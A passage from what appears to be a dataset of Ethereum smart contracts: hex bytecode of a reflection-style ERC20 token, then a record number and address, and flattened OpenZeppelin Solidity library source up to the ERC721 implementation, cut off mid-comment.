06020018281038252602281526020018061343f6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fbd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806134fb6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612043576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133cc6023913960400191505060405180910390fd5b6000811161209c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806134d26029913960400191505060405180910390fd5b6120a4610fcc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561211257506120e2610fcc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561217357600b54811115612172576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806134616028913960400191505060405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122165750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561222b576122268383836126d2565b612462565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122ce5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122e3576122de838383612925565b612461565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123875750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561239c57612397838383612b78565b612460565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561243e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124535761244e838383612d36565b61245f565b61245e838383612b78565b5b5b5b5b505050565b6000838311158290612514576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124d95780820151818401526020810190506124be565b50505050905090810190601f1680156125065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061253461301e565b9150915061254b818361255290919063ffffffff16565b9250505090565b600061259483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132cb565b905092915050565b6000808314156125af576000905061261c565b60008284029050828482816125c057fe5b0414612617576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134896021913960400191505060405180910390fd5b809150505b92915050565b600080600061264e600261264060648761255290919063ffffffff16565b61259c90919063ffffffff16565b905060006126658286611c6e90919063ffffffff16565b90508082935093505050915091565b60008060008061268d858861259c90919063ffffffff16565b905060006126a4868861259c90919063ffffffff16565b905060006126bb8284611c6e90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060008060006126e386611c16565b9450945094509450945061273f86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127d485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061286984600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128b68382613391565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061293686611c16565b9450945094509450945061299285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2782600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612abc84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b098382613391565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612b8986611c16565b94509450945094509450612be585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c7a84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cc78382613391565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612d4786611c16565b94509450945094509450612da386600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e3885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ecd82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6284600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612faf8382613391565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060006006549050600068056bc75e2d63100000905060005b6005805490508110156132805782600160006005848154811061305857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061313f57508160026000600584815481106130d757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561315d5760065468056bc75e2d63100000945094505050506132c7565b6131e6600160006005848154811061317157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611c6e90919063ffffffff16565b925061327160026000600584815481106131fc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c6e90919063ffffffff16565b91508080600101915050613039565b5061329f68056bc75e2d6310000060065461255290919063ffffffff16565b8210156132be5760065468056bc75e2d631000009350935050506132c7565b81819350935050505b9091565b60008083118290613377576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561333c578082015181840152602081019050613321565b50505050905090810190601f1680156133695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161338357fe5b049050809150509392505050565b6133a682600654611c6e90919063ffffffff16565b6006819055506133c181600754611cb890919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122005e394d6ced57564c4a3aeb1c44a0f72d28c88db1ecb0dc68fb5bdc41320f2da64736f6c634300060c0033
[ 4 ]
0xf297f8970ef3dadb3beb6de78b135debaad3a626
// File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/security/Pausable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** 